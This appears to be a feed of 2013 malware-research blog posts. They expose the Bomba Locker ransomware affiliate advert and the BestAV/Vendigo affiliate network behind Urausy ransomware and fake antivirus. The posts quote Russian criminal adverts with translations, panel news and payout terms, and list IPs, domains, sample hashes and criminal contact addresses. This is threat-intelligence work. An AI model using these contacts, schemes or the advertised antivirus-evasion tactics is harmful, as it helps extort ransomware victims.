Presentation :
Crossing the Styx ( Styx Sploit Pack 2.0 ) - Meet CVE-2012-4969 via JS heapspray - 2012-12-22
Last integrated exploits :
CVE-2013-2423 integrating Exploit Kits (search for Styx) - 2013-04-23
CVE-2013-1493 (jre17u15 - jre16u41) integrating Exploit Kits (search for Styx) - 2013-03-09
CVE-2013-0431 (java 1.7 update 11) ermerging in Exploit Kits (search for Styx) - 2013-02-25
For fast network sigs :
Styx Exploit Kit by @malwaresigs
How is it being used :
The path to infection - Eye glance at the first line of "Russian Underground" - 2012-12-05

Some References :
An Overview of Exploit Packs - Contagio  - Mila
Wild Wild West - Kahu Security
↧

Unveiling the Locker Bomba (aka Lucky Locker v0.6 aka Lyposit/Adneukine )

May 20, 2013, 3:56 pm
$
0
0



On the 10th of may was advertised on underground forum by bomba_service  a new Ransomware in Affiliate mode.

LOCKER BomBa best service - максимальный заработок

Bomba Locker advert
Original Text
------------------------------------------
LOCKER BomBa best service - максимальный заработок
В связи с унылой ситуацией на рынке локеров, мы предлагаем вам уникальное решение - BomBa локер, наш проект направлен на совместный заработок в течении длительного времени, мы предлагаем активную помощь адвертам и решение всяческих ситуаций, всегда открыты к диалогу - и новым направлениям!В партнерку будут набраны 10-20 активных адвертов, после чего она перейдет в приватный режим. 

================================================== =========
Некоторые технические данные:

+++ методы обхода UAC от висты до W7, 0-day
+++ метод загрузки локера из памяти(минуя диск), 0-day
+++ динамическая подмена минипорт-драйвера жесткого диска
+++ сокрытие/подмена данных на диске на уровне подмены секторов
+++ инжект в процессы, также локер использует всевозможные методы закрепления в системе - от самых простых до извращений, практически не удалим( даже в АВ отчетах - рекомендация - формат диска и переустановка системы - понятно что не всех такое устроит, чем мы и воспользуемся)
+++ защищенный проверенными алгоритмами протокол обмена бот-сервер (казалось бы локер - но ип после прогруза более 50к тестовых
ботов - остался 0/34)+ коды в панель отправляются не по стандартной схеме(комерческая тайна), идут до 7 дней активно, бывали cлучаи даже после 20 суток бот вводил валидный код(после долгих попыток ввода невалида)
+++ используется хитрая система установки локера - не тупой запуск сразу( таким образом ваши порно ресурсы остануться чистыми бесконечно долго 

- Полезная штуки: Крутые лендинги многократно протестированные на трафике различных направлений, и постоянное их измения - под новые тренды в этом направлении для максимальной прибыли.
- Размер ехе(не сжатый): 70 Кб
- Написан на: C++/ASM
- Работает на след. OS: Вся линейка Windows начиная от Windows 98 и до Windows 7(локер был протестирован на всевозможных вариациах ОС, от ограниченной до pro, включая x32 и x64 версии)
- Отстук с трафа - 80%
================================================== =========
Поддерживаемые локером Страны:
US|DE|IR|CH|ES|AT|BE|FR|PL|DK|PT|CA|IT|NL|RO|SE|UK |TR|RO|LV ( 20 стран)
================================================== =========
Антивирусы
Были установлены максмимальные версии(самые дорогие) антивирусов, скачаны и обовлены актуальные базы, и выставлен самый высокий уровень безопаности, после чего был осуществлен запуск локера, была проверена отправка кодов (ничего не блокируется)
Обходы АВ:
AVAST - OK
Microsoft - OK
Avira - OK
ESET - ok
Symantec - ok
AVG - ok
Kaspersky - ok
McAfee - ok
Trend Micro - ok
Panda - ok

Обходы Фаерволов
комодо - ок
битдеф - ок
оутпост - ок
нортон - ок
================================================== =========
Это более 90% от всех тачек, как правило у большинства юзеров стоит какой либо АВ, и пробить его это еще полдела - необходимо чтобы локер нормально установился и смог отправить коды.BomBa локер справляется с этим максимально эффективно. Учитывая все вышесказанное, без преувелечения могу сказать что BomBa локер лучшее решение доступное сейчас на рынке, кто не верит - можно устроить показательные тесты.
================================================== =========
Рейтинги:
до 1к лоадов в сутки - ваши 60% от полученных чеков
до 3к лоадов в сутки - ваши 70% от полученных чеков
до 10к лоадов в сутки - ваши 80% от полученных чеков
от 10к лоадов в сутки - ваши 90% от полученных чеков
================================================== =========
Супер возможности:
1)В наличие множество старых аков бирж ( от 1 до 5 лет реги с историей покупок и продаж - все аки переданы адалт мастерами либо были регнуты в те годы) это позволяет избежать ограничений наложенные на новые акаунты + техники слива и методы работы по каждой из бирж(как что палит где и тп) - эту возможность надо спрашивать у сапорта - он передаст запрос админу(имеет смысл подавать заявку если у вас есть большой опыт работы и не надо особо ничему обучать - только грамотно направить) все условия обговриваются при личном общении.

2) Возможно выдача системы по скрытию трафика от любой адалт биржи(все через наш сервер), можно сливать даже с трафикхолдера хоть и коверт оттуда никакой.все сугубо индивидуально - обговаривается через админа сервиса - контакт брать у сапорта.

3) Выдаем связку - не всем, а только трудолюбивым адвертам.( кол-во трафа и ваше адекватность - главные факторы)

Контакты сапорта - 10439@jabber.root.cz 10439@thesecure.biz.
http://bomba .asia
------------------------------------------
Translated by google as :
------------------------------------------
LOCKER BomBa best service - the maximum earnings
Due to the dismal situation in the market lockers, we offer you a unique solution - BomBa locker, our project aims at a joint income over the long term, we offer active assistance adverts and solving all sorts of situations are always open to dialogue - and new directions, In affiliate 10-20 will be recruited active adverts, after which it will go into private mode.

================================================== =========
Some technical data:

+ + + Workarounds UAC from Vista to W7, 0-day
+ + + Method of loading the locker of memory (bypassing disk) 0-day
+ + + Dynamic substitution of the miniport driver HDD
+ + + Concealment / fake disk data at the level of substitution sectors
+ + + Inject into processes and locker uses all sorts of techniques to fix the system - from the simplest to the perversions, practically do not remove (even in the AB reports - a recommendation - the format of the disk and reinstall the system - it is clear that not everyone is satisfied, and we will use )
+ + + Protected tested algorithms protocol bot server (seemingly locker - but after u progruz over 50k test
bots - was 0/34) + code into the panel did not go by the standard procedure (Commercial secret) go to 7 days active, visited the rims even after 20 days of bot introduced valid code (after many attempts to enter is invalid)
+ + + Uses a clever mounting system locker - not a dull start immediately (so your porn resources remain clean indefinitely

- Useful things: Steep Landing repeatedly tested on the traffic of different directions, and constant change them - a new trend in this direction for maximum profit.
- The size of an exe (not compressed): 70 KB
- Written in: C + + / ASM
- Works on the trail. OS: The entire line of Windows from Windows 98 to Windows 7 (locker has been tested on all sorts of variations of the OS from a limited to a pro, including x32 and x64 versions)
- Otstuk with cores - 80%
================================================== =========
Supported locker Country:
US | DE | IR | CH | ES |​​ AT | BE | FR | PL | DK | PT | CA | IT | NL | RO | SE | UK | TR | RO | LV (20 countries)
================================================== =========
Antivirus
Were set maksmimalnye version (most expensive) anti-virus, and downloaded obovleny actual databases, and exhibited the highest level of Security, and then launched the locker was checked dispatch codes (no locks)
Detours AB:
AVAST - OK
Microsoft - OK
Avira - OK
ESET - ok
Symantec - ok
AVG - ok
Kaspersky - ok
McAfee - ok
Trend Micro - ok
Panda - ok

Bypasses firewalls
Komodo - ca
bitdef - ca
Outpost - ca
Norton - ca
================================================== =========
It is more than 90% of all wheelbarrows are usually the majority of users is any AB, and pierce it is still half the battle - it is necessary to locker normally established and able to send kody.BomBa locker cope with it effectively. That said, I can say without exaggeration that BomBa locker best solution available on the market today, who do not believe - you can arrange a demonstration tests.
================================================== =========
Ratings:
loadov to 1k per day - 60% of your checks received
loadov to 3k per day - 70% of your checks received
loadov to 10k a day - 80% of your checks received
loadov from 10k a day - 90% of your checks received
================================================== =========
Great features:
1) What are the presence of a lot of old stock exchanges (1 to 5 years Regi with a history of purchases and sales - all of Aki transferred adult masters were either regnuty in those years), it avoids the limitations imposed on the new permanent bonus + technology plum and methods of work of each of exchanges (as that where the firing etc) - this option should be asked Saporta - he will pass a request to admin (makes sense to apply if you have a lot of experience and do not need anything special train - only competently direct) all the conditions obgovrivayutsya in person .

2) The issuance of the system to hide the traffic from any adult Exchange (all via server), you can even merge with trafikholdera albeit covert there nikakoy.vse purely individual - is negotiated through the admin service - Contact borrow from Saporta.

3) Issue a bunch - not all, but only the hard-working adverts. (Number of cores and your value - the main factors)

Contact Saporta - 10439@jabber.root.cz 10439@thesecure.biz.
http://bomba. asia
------------------------------------------
As you can see there is also a web site associated

Website promoting Locker Bomba 
It took few hours to spot something new and that could be related.
Pushed in a rented blackhole :
199.180.114.213namesrootslist .net  - Landing : /building/aim-circuit-proposing.php
I fond that sample : 31efd51e5c31ea38a30ebd9d005575be

The User-Agent and C&C call were familliar :

User-Agent and C&C Call Lyposit-ish
Like Lucky Locker (which is Lyposit v0.1 and Adneukine - v0.2 ) ...but was no lock screen (!?).
So I wait...wait (> 10 min) till i got :


German Design for Bomba Locker / Lyposit
(which is the same as Nymaim based on Urausy...itself inspired by Reveton June 2012)
Here are all other available looks like the German design except the US one.

All known Bomba Locker/Lyposit Design as of may 2013
TR = US Design
IR (read IE :D)  like BE, CH, PL and DK show Blank screen like that :
IE (!=IR) CH, BE, PL DK design... sic
The US Design is like :

Bomba Locker/Lyposit US Design
This design has already been seen in Uremtoo (Urausy variant) in February

and in Nymaim (but is a little more evolved there )

Nymaim US design

Out of topic:
I did not wrote about Nymaim for now but it's related to the /Home/ BHEK (which evolved to q.php BH EK which was behind the LA Times infection and is getting traffic via Darkleech apache Module)

That C&C is pushing junk instead of 404 the same way Lucky Locker C&C was...

Trash Data instead of 404
And here is the piece of code behind that on previous version of Lyposit :

C&C Side code used to push trash



As the Advert for Lucky Locker is not available anymore it seems we had here a good candidate for this "new" locker.

And..tada! I've find a way to get a screenshot of the Admin Panel for Bomba Locker :

Bomba Locker Panel
(same as Lucky Locker but v0.6)
IP is not blurred -> QED


And as a conclusion for those wondering what is the 0day UAC bypass on Windows 7


0day UAC Bypass :)

File : 
Here (Owncloud via goo.gl) contains : 31efd51e5c31ea38a30ebd9d005575be
https://malwr.com/analysis/ZjE5NmVlNjgxOTFlNGM5ZGIzZDAzYWFiYzVjNDE2YjE/

Read More :
Lockscreen Win32:Lyposit displayed as a fake MacOs app - 2013-05-20 - Avast - Peter Kálnai
Inside view of Lyposit aka (for its friends) Lucky LOCKER - 2012-11-29


↧

The missing link - Some lights on "Urausy" affiliate

May 29, 2013, 6:11 am
$
0
0
featured in Urausy


One of the most common Ransomware since end of 2012 is Urausy. You can land on it via every possible infection vector.

Urausy Design (updated  but missing :  BH|DZ|KW|OM|QA|YE )
Too Small ? http://i5.minus.com/ib0iPHRzXaI93F.png (100% 11Mo) 


Despite it's widely spread, I couldn't find the advert for the distribution...but here are some news !

Look:

BestAV update to a FakeAV program advert
2013-02-10
They were back with a new Software.


Text of the Advert :
------------------------------------------
Уважаемые адверты, мы вернулись!

У нас обширные обновления системы:

1. подключили новые мерчанты и обновили Ав софт, сейчас отличный конверт на us \ ca \ gb и т.п. (за последнюю неделю, на us 1:30)

2. сделали модуль подмены выдачи, которая подключается по желанию адверта

3. добавили НОВЫЙ софт который отлично стучит и конвертируется на адалтовом траффе европы и US \ CA (всего около 25 стран, СНГ нет и не будет), софт монетизируется через чеки, выплаты по этому решению стабильно раз в неделю через Webmoney/Epese/LR
профит за последнюю неделю по некоторым странам с 1к загрузок:

us 1189$
de 956$
gb 1154$
fr 522$
no 3376$
nl 958$
it 254$
ch 1900$
es 368$
dk 860$
at 818$

4. Наши долги - с прошлых мерчантов мы остались должны нескольким адвертам, естественно все задолжности будут погашены. Приоритет на выплату долгов отдаётся адвертам которые сейчас работают с нами
------------------------------------------
Translated by @Malwageddon (Thanks !!) :
------------------------------------------
Dear adverts, we're back!

Our package has undergone some major updates: 

1. implemented support for some new merchants and updated AV software. Currently, getting great convert rate on US\CA\GB\ etc. (just last week, US at 1:30)

2. added a distribution replacement module that can be activate on request 

3. included NEW add-on that improves callback. Using US\CA\EU adult traffic for conversion(supports 25 countries, NO CIS and no plans to support it in the future). Webmoney/Epese/LR services are used to monetize the traffic - weekly payments.

Last week earnings for some countries with 1K loads:

us 1189$
de 956$
gb 1154$
fr 522$
no 3376$
nl 958$
it 254$
ch 1900$
es 368$
dk 860$
at 818$

Our debts - we still owe to some adverts from previous merchants. We will pay off all the debts - priority will be given to adverts currently working with us.
------------------------------------------
Few days Later :

BestAV update.
Text of the Advert :
------------------------------------------
Список принимаемых стран на soft2 пополнился следующими странами: BO|EC|UY|NZ, за последнюю неделю 1к UY на миксе давал до 2.5к$!
Полный список принимаемых стран на софт2: AT|AU|BE|BO|CA|CH|CY|CZ|DE|DK|EC|ES|FI|FR|GB|GR|HR |HU|IE|IT|LU|LV|NL|NO|NZ|PL|PT|RO|SE|SI|SK|US|UY|T R
Конверт на адалте (и не только!), просто потрясающий.
Выплаты 2-3 раза в неделю, софт2 не зависит от биллингов, лучшие условия, Welcome
------------------------------------------
Translated by @Malwageddon  :
------------------------------------------
The following countries are now supported by soft2: BO|EC|UY|NZ. Last week, 1K on UY earned close to $2.5k!
Full list soft2 supported countries: AT|AU|BE|BO|CA|CH|CY|CZ|DE|DK|EC|ES|FI|FR|GB|GR|HR |HU|IE|IT|LU|LV|NL|NO|NZ|PL|PT|RO|SE|SI|SK|US|UY|T R
Unbelievable convert on adult traffic (and other).
Payments - 2-3 time a week. No billing dependency for soft2. Best deal. Welcome
------------------------------------------

Now
and Edit1 : 2013-02-22 += BO, EC,MX, NZ & AR. Not far at all !

Update on 2013-05-17
Now look here  Urausy Ransomware - Arab world targeted  2013-04-06, I wrote about a JO Design for Urausy.
What other software could target JO..MT...So specific that I could have figured the link without seeing behind the curtains

Cause yes ! Urausy is "Soft2" (out of 3) of BestAV/Regatur/Vendigo affiliate program.

They are far from being new comer in the business. (Look at the Read More area at the end - Xylitol wrote extensively about them).

Here are at least 2 backend vector for the distribution of the Binaries :
http://test.bestavsoft2 .com -- 95.211.98.159 (pDNS : china-pro .biz - expresss .biz)
https://regatur .com -- 95.211.98.245 (pDNS : vendigo .biz - www.vendigo .biz )
2 reverse proxies of the same server. Same stuff with a vhost/CSS game.

BestAV Login Screen
Regatur/Vendigo Login Screen
BestAV2 Welcome Screen


For Best AV you can see the 3 programs here :

The 3 programs for BestAV


and here by Vendigo :

Same Program by Vendigo/Regatur
(css game)

What are the Soft :



Soft1



Soft1 = FakeAV (Winwebsec)
System Care Antivirus - Soft1 BestAV/Vendigo
See S!Ri.URZblog (Reference when it comes to Rogue Software)



Soft2 = Urausy
Soft2 = Urausy

Soft3 = Didn't spend time on it. But would love some feedback if you know.

6848de86dcf35f8e43f33b980dc69e1d (recognized by Microsoft as Ursnif.gen. Would not be a surprise as Ursnif and Rovnix share at least same C&C and Rovnix was tied to SmartFortress ).

Soft3 = ?



The news :

BestAV2 News
And here is the associated text :
------------------------------------------

18:17 24.05.2013 CH upd

CH (Швейцария) снова можно пускать на софт2, все проблемы, связанные с этой страной решены, удачного конверта :)

13:29 24.05.2013Техработы upd

Техработы завершены, стата отображается нормально.

22:34 23.05.2013Техработы

В результате проведения технических работ может не верно отображаться статистика по инсталлам.
10:01 15.05.2013 Soft 2 - CH
Временные проблемы с обналом ваучеров из CH (Швейцария), по возможности просим снять инсталлы этой страны с софт2 и перевести на софт1. Спасибо за понимание.
16:13 14.05.2013 New countries upd
Список принимаемых стран на soft2 пополнился следующими странами: AE|BH|DZ|JO|KW|LB|MA|OM|PS|QA|SA|YE
11:56 30.04.2013Связка, update
Вторая связка в строю, те, кто ждал восстановления её работы, просьба отписать в тикеты или саппортам, за новыми потоками.
06:34 27.04.2013Связка
Обращаем внимание тех, кто пользуется одной из наших связок, которая сейчас в дауне. Скоро её работа будет восстановлена.
11:22 12.04.2013 +10%
Уважаемые адверты, у нас отличная новость, в результате отлаженной работы обналичивания чеков на софт2 профит с сейла увеличен на ~10%.
12:25 28.03.2013Софт1
Софт1 снова работает.
23:56 26.03.2013 Soft2 - MX
Исправили ошибку c MX, теперь она конвертится.
05:35 26.03.2013Софт1
Технические проблемы, просьба пока снять инсталлы с софт1, любой желающий может перейти на софт2, отписав в тикет саппортам. Софт2 работает без перебоев.
11:15 20.03.2013Отстук
Можно лить дальше :)
14:58 19.03.2013Отстук
Наблюдаются некоторые проблемы с отстуком у некоторых адвертов. Работаем над проблемой. Касается только soft2 и в основном только US инсталлов.
10:38 14.03.2013 New countries and Exp Kit
Список принимаемых стран на soft2 пополнился следующими странами: MT|MX Хорошего конверта! Так же начинаем снова выдавать потоки на связку, обращаемся к третьему саппорту(134828885) или пишем тикеты, в запросе потока сразу просим указывать требуемый софт.
06:46 11.03.2013Связка
Временно не выдаём связку, работаем над решением проблемы. О сроках, пока, сообщить нет возможности.
12:40 04.03.2013 Orange
Выдаем новые потоки(старые не актуальны), стучите третьему саппорту и говорите желаемый софт.
14:40 22.02.2013 New countries
Список принимаемых стран на soft2 пополнился следующими странами: BO|EC|UY|NZ Хорошего конверта!
00:22 16.02.2013Связка
Закончили подгон функционала, начинаем выдавать потоки, обращаться к третьему саппорту.
19:28 09.02.2013Новости | News
Уважаемые адверты, мы вернулись! У нас обширные обновления системы, для ознакомления с деталями, перейдите по ссылке этой новости.
17:19 02.02.2013 Coming Soon
20:50 11.12.2012Проблемы
Уважаемые адверты, сегодня наблюдаются технические проблемы с мерчантом. Планируем починить всё к завтрашнему дню. Мы будем держать вас в курсе событий.
20:39 28.11.2012 Exp Kit
195.88.74.110 Не забываем про предыдущую новость, старые потоки актуальны, кому требуются новые, обращаемся к третьему саппорту, либо же пишем тикет. Будем надеяться что больше не будет аналогичных простоев.
20:56 26.11.2012 Exp Kit
Скоро снова будем выдавать связку, IP будет в новостях позже. Еще раз напоминаем что связка не предназначена для спама и что такому простою мы обязаны тем, кто этот принцип нарушил. Если будут выявлены схожие нарушения далее, это плохо скажется на отношениях администрации BestAV и адвертов-вредителей.
13:28 02.11.2012 Exp
Снова ждем новый ип
20:34 28.10.2012 Exp kit
Пофиксили
------------------------------------------
Translated by @Malwageddon  :
------------------------------------------
18:17 24.05.2013 CH upd
CH (Switzerland) can again be run through soft2. All issues with this country are now resolved. Happy converts!
13:29 24.05.2013 Maintenance upd
Maintenance is now completed. Stats are displayed properly now.
22:34 23.05.2013 Maintenance
Due to current maintenance install stats may not display correctly.
10:01 15.05.2013 Soft 2 - CH
Temporary issue with vouchers cash-out from CH (Switzerland). Please move CH installs from soft2 to soft1 if possible. Thank you for understanding.
16:13 14.05.2013 New countries upd
soft2 now supports the following countries: AE|BH|DZ|JO|KW|LB|MA|OM|PS|QA|SA|YE
11:56 30.04.2013 Exp kit, update
Second Exp kit is now fixed. Please update your support tickets or contact support directly for EK details.
06:34 27.04.2013 Exp kit
We're expecting the broken EK to be online very soon. Stay tuned.
11:22 12.04.2013 +10%
Dear adverts! We have great news. Soft2 flawless work allowed us to increase your sale profit to 10%
12:25 28.03.2013 Soft1
Soft1 is now working again.
23:56 26.03.2013 Soft2 - MX
Error causing MX not to convert is now fixed.
05:35 26.03.2013 Soft1
Due to some technical issues we're asking to take installs off Soft1. Open a support ticket to be transferred to Soft2 in the mean while. Soft2 has no issues.
11:15 20.03.2013 Callback
Fixed :)
14:58 19.03.2013 Callback
Some adverts are reporting callback issues. We're looking into it. Affects Soft2 only and mainly US installations.
10:38 14.03.2013 New countries and Exp Kit
MT|MX have been added to Soft2. Have a good conversion day! Started giving access to EK again. Contact 3rd support(134828885) or open a support ticket to avail. 
06:46 11.03.2013 Exp kit
Temporarily unavailable. Working on solving the issue. No ETA yet.
12:40 04.03.2013 Orange
Giving access to new EK(old ones are no longer true). Direct all queries to 3rd support.
14:40 22.02.2013 New countries
BO|EC|UY|NZ are now supported by Soft2. Have a good conversion day!
00:22 16.02.2013 Exp kit
Setup is finished. Started giving access out. Contact 3rd support.
19:28 09.02.2013 News
Dear adverts! We're back! We have made some major system updates. Please follow the link for more details.
17:19 02.02.2013 Coming Soon
20:50 11.12.2012 Problems
Dear adverts. Our merchant is experiencing some technical difficulties today. We're planning to fix this issue by tomorrow. We'll keep you updated.
20:39 28.11.2012 Exp Kit
195.88.74.110 please read the previous news post for term of use. Contact 3rd support for new access. Old access should still work. We hope on your cooperation not to experience the same issue again.
20:56 26.11.2012 Exp Kit
Access to EK will soon be available. New IP will be posted soon. Just a friendly reminder, EK is not supposed to be used for SPAM. The downtime we're experiencing now is due to someone breaking this rule. If similar activity will be detected BestAV administration will take actions against adverts responsible.
13:28 02.11.2012 Exp
Waiting for the new IP again
20:34 28.10.2012 Exp kit
Fixed
------------------------------------------
Am pretty sure (but not 100%) that the exploit kit mentioned here is what Emerging Threat Named Sibhost.

Sibhost pushing Urausy using it's last known CVE : 2013-2423
on 2013-05-01


Sadly I didn't find another name :) 
Its sharing the Reverse proxies infrastructure with Urausy C&C.

And here are the news for Vendigo :
Vendigo News

And here is the associated text :
------------------------------------------
04:51 29.05.2013 soft2 статистика
сбой подкачки статы по софт2 с основного сервера. сам софт работает нормально. в ближайшее время пофиксим
23:46 27.05.2013Всё работает хорошо!
Welcome!
20:07 23.05.2013 Soft1 \ Soft2 \ Stats
Soft 1 \ soft 2 качаются нормально. В связи с организационными мероприятиями и переездами, статистика по инсталлам софт2 за сегодня будет сбиваться, и может прыгать в любую сторону. Со следующих суток, стата уже будет работать стабильно. Приносим извинения за неудобства.
15:43 23.05.2013Подкачивание soft1 \ soft2 временно не работает
в течении часа пофиксим
13:21 17.05.2013Запасной жаббер: zorton40031@jabber.ru
Welcome
19:57 12.05.2013Объявления
Запустили лендинги (ав сканер - софт1) для траффика - приглашаем адвертов! ---------- Предоставляем связку адвертам, которые льют более 50к траффика в сутки ---------- Выкупаем Андройд траффик \ инсталлы ---------- Приглашаем на постоянную работу крипт-программистов, зарплата от 2000$ в месяц
20:23 30.04.2013Просим снять DZ (Алжир) траффик (софт2)
subj
17:05 29.04.2013приглашаем протестировать наше промо
по всем вопросам обращайтесь в жаббер
22:22 26.04.2013статистику софт2 починили
subj
16:46 26.04.2013софт2 сбой статистики по инсталлам
сбой статистики по инсталлам, проверяем
15:43 21.04.2013Статистику починили
всё работает стабильно
05:17 21.04.2013Сбой подкачивания статистики за 21 число и за вечер 20 числа
Система работает, продажи идут, софт стучит. Статистика за вечер 20 числа и за 21 число будет подгружена и отображена в ближайшее время
11:43 19.04.2013Выплаты отправлены
Спасибо за работу и дальнейших успехов!
21:31 18.04.2013Прошу прощение за задержку выплат
Извиняюсь за задержку с выплатами, последние два дня был в разъездах + ужасный интернет, не позволяет нормально работать. Завтра (19.04), буду в нормальном рабочем режиме, в первой половине дня обработаю все тикеты на выплату.
18:45 08.04.2013Сбой в работе \ Починили
Был сбой в работе, последние 30 минут продажи не проходили, конверт ухудшился. Сейчас всё починили, конверт должен подровняться
09:28 28.03.2013Софт1 включили. Запускайте поток
Мерчанты включили, софт1 работает, можно включать поток!
20:14 27.03.2013софт1 запуска завтра
завтра (28 число), следите за новостями
03:52 27.03.2013софт3
Сделаны выплаты по софт3
17:47 25.03.2013Софт1, просим приостановить поток на 1-3 дня
Уважаемые адверты по причине не уверенности в стабильности текущего мерчанта - просим приостановить поток софт1, его можно перевести на софт2 (с софт2 всё стабильно). Через 1-3 дня можно будет запуститься т.к. вернутся предыдущие мерчанты, и возможно текущий мерчант тоже поставим в работу, как убедимся в их надёжности. Просим не волноваться все балансы будут выплачены по вашим запросам. Спасибо за понимание.
22:11 21.03.2013Всё работает стабильно
Всё работает
15:43 21.03.2013Софт1, подкачка статистики временно октлючена
Небольшой технический сбой, отключаем подкачивание статистики по софт1 примерно на час
18:13 19.03.2013Работа полностью восстановлена
Всё работает. В том числе, пейформа переведена на хороший канал.
17:40 19.03.2013Технический сбой
Был технический сбой, приводим всё в порядок. Оповестим как всё проверим
07:07 19.03.2013Новый мерчант в работе
Новый мерчант работает, но конверт пока хуже. Причины являются техническими и они известны: 1. платжная форма находится на слабом сервере. 2. процедура покупки для данного мерчента менее удобная чем для других. Касательно первого пункта - сегодня занимаемся переездом на более мощный сервер. По второму пункту, ведём переговоры с процессингом, для оптимизации. Старые мерчанты вернутся в работу к 1 апрелю. Будем держать вас в курсе.
17:52 18.03.2013Работа восстановлена на новом мерчанте
Работа восстановлена на новом мерчанте с визой и мастером, но мы можем запускать на него только софт, который начал раздаваться с 20:00 по МСК. В связи с этим будет провал конверта.
------------------------------------------
Translated by @Malwageddon :
------------------------------------------
04:51 29.05.2013 soft2 Stats
Soft2 stats from main server transfer issue. Soft2 is working fine. Expecting to fix soon.
23:46 27.05.2013 Everything is working great!
Welcome!
20:07 23.05.2013 Soft1 \ Soft2 \ Stats
Soft1 \ Soft2 are working as expected. Due to server move, Soft2 install stats for today may not be correct. Tomorrow the stats will be fixed. Apologies for any inconvenience caused.
15:43 23.05.2013 soft1 \ soft2 temporarily unavailable
will be fixed within an hour
13:21 17.05.2013 Spare Jabber: zorton40031@jabber.ru
Welcome
19:57 12.05.2013 News
Traffic lending is launched(AV scanner - Soft1) - adverts are welcome! EK will be supplied to adverts with 50K traffic volume in a day
Android traffic and install are also available
We're hiring Cryptography Software Engineer - paying $2000 a month
20:23 30.04.2013 Please take off DZ (Algeria) traffic from (Soft2)
subj
17:05 29.04.2013 Inviting to test our promo
Contact through Jabber for any details
22:22 26.04.2013 Soft2 stats are now fixed
subj
16:46 26.04.2013 Soft2 stats issue
Soft2 stats are experiencing some issues. Checking.
15:43 21.04.2013 Stats are now fixed
All is working well
05:17 21.04.2013 Stats transfer for 20th and 21st issue
The system is working. Sales are going. Callback is stable. Stats for 20th and 21st will be transferred as soon as possible.
11:43 19.04.2013 Payments are sent
Thank you for your work. Wishing you all future success!
21:31 18.04.2013 Apologies for payment delays
My apologies for delaying payments. I have been traveling for the last 2 days and had no proper Internet access. Promise to process all payment tickets tomorrow.
18:45 08.04.2013 Service unavailable \ Fixed
We experienced some issues that affected payments and converts. All should be fixed now.
09:28 28.03.2013 Soft 1 is back online. Restart the streams
Merchants are back online. Soft1 is now working. Ok to restart the streams.
20:14 27.03.2013 Soft1 start tomorrow
tomorrow (28th), watch for updates
03:52 27.03.2013 Soft3
Soft2 payments have been processed
17:47 25.03.2013 Soft1. Please stop streaming for 1-3 days
Dear adverts, due to current merchant poor stability we ask you to stop steaming through Soft1. You can transfer to Soft2(Soft2 has no issues). We're expecting to fix the issue in the next 1-3 days after bringing the old merchant online and fixing the issue with current one. We're asking you to stay calm - we'll pay all the balances on your request. Thank you for understanding.
22:11 21.03.2013 Everything is back to normal
subj
15:43 21.03.2013 Soft1 stats update is currently unavailable
Minor issues. Soft1 stats updates will be unavailable for the next hour or so
18:13 19.03.2013 All back to normal
subj. Including transfer of the payform to a new link.
17:40 19.03.2013 Technical issues
Fixing some minor technical issues. We'll update you as soon as possible.
07:07 19.03.2013 New merchant is available
New merchant is in operation, but convert rate is poor. There is a number of reasons for that. 1. payform is on a low spec server. 2. payment procedure is more awkward in compare with other merchants. The first issue will be addressed today - we're moving payform on a different(better) server. The second issue is being addressed at the moment - talking to processing with view to improve optimization. Old merchants will be back online by 1st of April. We'll keep you updated.
17:52 18.03.2013 Operation is restored through a new merchant
The operations are restored through a new merchant using Visa and Mastercard, but limited to software issued after 20:00 MSK time. We're expecting convert drop.
------------------------------------------

Agreement on Vendigo First logon
(no share of screenshots, links, softs etc...)

Text of Vendigo Agreement
------------------------------------------
Уважаемые адверты, у нас запрещено: - публиковать (либо передавать другим людям) скриншоты админки, адрес админки или какие-либо ссылки на админку и сам софт.
------------------------------------------
Dear adverts, we banned: - publish (or send to others) screenshots admin, admin address or any links to admin panel and software itself.
------------------------------------------

Best AV Agreement

Text for Best AV agreement :
------------------------------------------
Соглашения работы:

Уважаемый %username%, команда Best AV Software рада приветствовать Вас. Перед началом работы вам необходимо ознакомиться с условиями сотрудничества.

Порядок выплат:

рефанды и чарджбеки на балансе адверта;
выплаты происходят планово, несколько раз в месяц (как правило раз в неделю), по мере поступления средств с биллингов, при достижении минимальной суммы на вывод;
минимальная сумма на вывод 100$.
Что у нас запрещено:

любые попытки кардинга нашего софта;
распространять промо-материалы через сайты cp \ нацистской тематики;
распространять промо-материалы по странам СНГ;
проверять файлы на ав-чекерах, о которых заведомо известно, что они передают проверяемые файлы в АВ на анализ;
проводить реверсинг промо-материалов.
Закрытие аккаунта. При закрытии аккаунта, либо остановке потока на обеспечение будущих рефандов и чарджбеков холдится сумма в размере ~10% (справедливо и для активных аккаунтов, минимальный холд 50$) от баланса, без возобновления потока, выплата холда будет произведена в течении 45 дней с момента остановки продаж.
------------------------------------------
Translated by @Malwageddon (Thanks again !!) :
------------------------------------------
Work Agreement:

Dear %username%, Best AV team is glad to welcome you. Before you begin working, we'd like you to familiarize yourself with terms and conditions for our service.

Payments:

refunds and charge back are on adverts balance;
payments are performed regularly - a few times a month(usually, once a week). The amount of the minimum withdraw limit has to be available on your account for payment to proceed.
minimum withdrawal amount is 100$.

What is not allowed:

any carding attempts of our software;
promote our services through CP / Nazi websites;
promote our services in CIS;
submit our files to online AV checkers that are known to submit files to AV vendors;
perform reverse-engineering on promotional materials;

Account closure. We will hold 10% of the amount currently on your balance when you decide to close the account or stop the streaming guaranteeing future refunds and charge back. We believe it is fair even for the active accounts. Minimum held amount is $50. If the streaming is not restored within 45 days since the first sales stop the hold will be paid.
------------------------------------------

And if you wonder why it's so widespread....you'll have an idea with the stats of one "customer" 

Day by Day income for one Affiliate
with Urausy Program via Vendigo
Income by country since January 2013
And out of topic, for the FakeAV (2012):
Day by day income for Soft1 for 1 affiliate.
2012 sorted by income
2012 - Fake AV (soft1)
Income by Country for 1 affiliate - sorted by Income

So this replied to many of my questions.
And to those saying "Ransomware is the new FakeAV" : Exact ! It seems even more profitable.

Correct me if i'm wrong but I think it's the first time in history so few people taunted so many law enforcement all over the world...from Oman to US, from Finland to Ecuador. 
Dangerous business !

Read More :
star-stat.com (reseller bestavsoft2) - 2012-02-06 - Xylibox.com - Xylitol
Tracking Cyber Crime: BestAV and BlackSoftware *Reloaded* - 2011-08-06 - Xylibox.com - Xylitol
Fake Antivirus Industry Down, But Not Out - 2011-08-03 - KrebsOnSecurity - Brian Krebs
Tracking Cyber Crime: Inside the FakeAV Business - 2011-06-14 - Xylibox.com - Xylitol
↧
↧

Silence Exploit Kit new brows.....oh wait !

June 1, 2013, 2:26 pm
$
0
0
Silence Exploit Kit Logo
